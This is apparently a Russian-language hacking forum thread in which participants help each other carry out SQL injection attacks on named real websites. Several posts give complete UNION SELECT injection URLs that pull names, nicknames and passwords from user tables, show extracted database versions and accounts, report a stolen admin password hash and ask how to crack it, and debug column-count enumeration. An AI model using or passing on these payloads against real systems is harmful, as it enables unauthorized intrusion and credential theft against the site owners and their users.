Привет всем, в чём подвох? запрос: выдаёт "users" А запрос: Выдаёт "Table 'h_ksr.users' doesn't exist" Как такое может быть и как с этим бороться? Заранее спасибо
Там users лежит просто в другой БД, данные получать надо так: http://www.ksr.infoshare.ru/lib/?div=-1+union+select+concat_ws(0x3a,name,nik,pass)+from+aidsprintinfosha.users+limit+0,50--
Нашел скулю, выводило :Query failed: The used SELECT statements have a different number of columns Code: 1 UNION SELECT 0x73716C696E6A666C6431,0x73716C696E6A666C6432,0x73716C696E6A666C6433,0x73716C696E6A666C6434,0x73716C696E6A666C6435,0x73716C696E6A666C6436,0x73716C696E6A666C6437,0x73716C696E6A666C6438,0x73716C696E6A666C6439,0x73716C696E6A666C643130,0x73716C696E6A666C643131,0x73716C696E6A666C643132,0x73716C696E6A666C643133,0x73716C696E6A666C643134,0x73716C696E6A666C643135,0x73716C696E6A666C643136,0x73716C696E6A666C643137,0x73716C696E6A666C643138,0x73716C696E6A666C643139,0x73716C696E6A666C643230,0x73716C696E6A666C643231,0x73716C696E6A666C643232,0x73716C696E6A666C643233,0x73716C696E6A666C643234,0x73716C696E6A666C643235,0x73716C696E6A666C643236,0x73716C696E6A666C643237,0x73716C696E6A666C643238,0x73716C696E6A666C643239,0x73716C696E6A666C643330,0x73716C696E6A666C643331,0x73716C696E6A666C643332,0x73716C696E6A666C643333,0x73716C696E6A666C643334,0x73716C696E6A666C643335,0x73716C696E6A666C643336,0x73716C696E6A666C643337,0x73716C696E6A666C643338,0x73716C696E6A666C643339,0x73716C696E6A666C643430,0x73716C696E6A666C643431,0x73716C696E6A666C643432,0x73716C696E6A666C643433,0x73716C696E6A666C643434,0x73716C696E6A666C643435,0x73716C696E6A666C643436,0x73716C696E6A666C643437,0x73716C696E6A666C643438,0x73716C696E6A666C643439,0x73716C696E6A666C643530,0x73716C696E6A666C643531,0x73716C696E6A666C643532,0x73716C696E6A666C643533,0x73716C696E6A666C643534,0x73716C696E6A666C643535,0x73716C696E6A666C643536,0x73716C696E6A666C643537,0x73716C696E6A666C643538,0x73716C696E6A666C643539,0x73716C696E6A666C643630,0x73716C696E6A666C643631,0x73716C696E6A666C643632,0x73716C696E6A666C643633,0x73716C696E6A666C643634,0x73716C696E6A666C643635,0x73716C696E6A666C643636,0x73716C696E6A666C643637,0x73716C696E6A666C643638,0x73716C696E6A666C643639,0x73716C696E6A666C643730,0x73716C696E6A666C643731,0x73716C696E6A666C643732,0x73716C696E6A666C643733,0x73716C696E6A666C643734,0x73716C696E6A666C643735,0x73716C696E6A666C643736,0x73716C696E6A666C643737,0x73716C696E6A666C643738,0x73716C696E6A666C643739,0x73716C696E6A666C643830,0x73716C696E6A666C643831,0x73716C696E6A666C643832,0x73716C696E6A666C643833/* перебрал до 54 вывело : not found in database и что делать? даже Version() не знаю, поля для вывода какбы нету, но если пишу from mysql.user то матюкаеться что нету прав. что делать?
возможно это "свой" метод шифрования. Тебе бы не помешало посмотреть сорцы. самый протсой метод шифрования - это: 1 беррётся Ascii код символа и к мне му прибавляется\отнимается\какое-то чисто. В итоге получается такая вот муть =)
Возможно ли провести иньекцию. http://www.karjeroscentras.lt/lt.php/ieskantiems_darbo/darbo_skelbimai/darbo_skelbimai/347;f_ctitle;UAB%20%22Aidma%27%22 нашол ошибки а за юзать не выходит.
Возможно! (Чуть не написал "легко", нифига не так просто. ) Code: http://www.karjeroscentras.lt/lt.php/ieskantiems_darbo/darbo_skelbimai/darbo_skelbimai/347;f_ctitle;123'%20and%201=2%20union%20select%201,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8%23 [email protected]:4.0.18:karjeroscentras Можно пытаться раскручивать дальше. Иньекция не слепая, показывает запрос и количество полей, короче, время провёл не зря. (Даже не подозревал, что так могу. ) Если отдельные моменты будут непонятны - могу расписать, правда, не факт, что появлюсь тут до понедельника. В любом случае, большое спасибо за увлекательную задачу.
вытянул пароль из таблицы admin 711de2ca756942dc что за шифрование не подскажете? не мускульная ль функция?
http://web.ffos.hr/serv_file.php?file=-44+union+select+1,2,concat_ws(0x40,version(),user(),database()),4,5,6,7,8/* вывод 3и4....4-название файла..3 внутри файла...
Ну вот. Приехал ... Не пойму в чем ошибка: Составляю: http://site.ru/?cat=103&id=1/**/order/**/by/**/100/* Вылазит: Code: MySQL Error... SQL Query: select * from fotocatalog where m_id = '0' and status != 'del' and p_id = '1/**/order/**/by/**/100/*' order by date desc limit -2575, 25 Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-2575, 25' at line 1 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/***/***/***.ru/test.php on line 84 Перепробовал уже и /**/ и + и %20 , все одно и тоже вылазит. Также пробовал and и другие - в результате 0... *призадумался
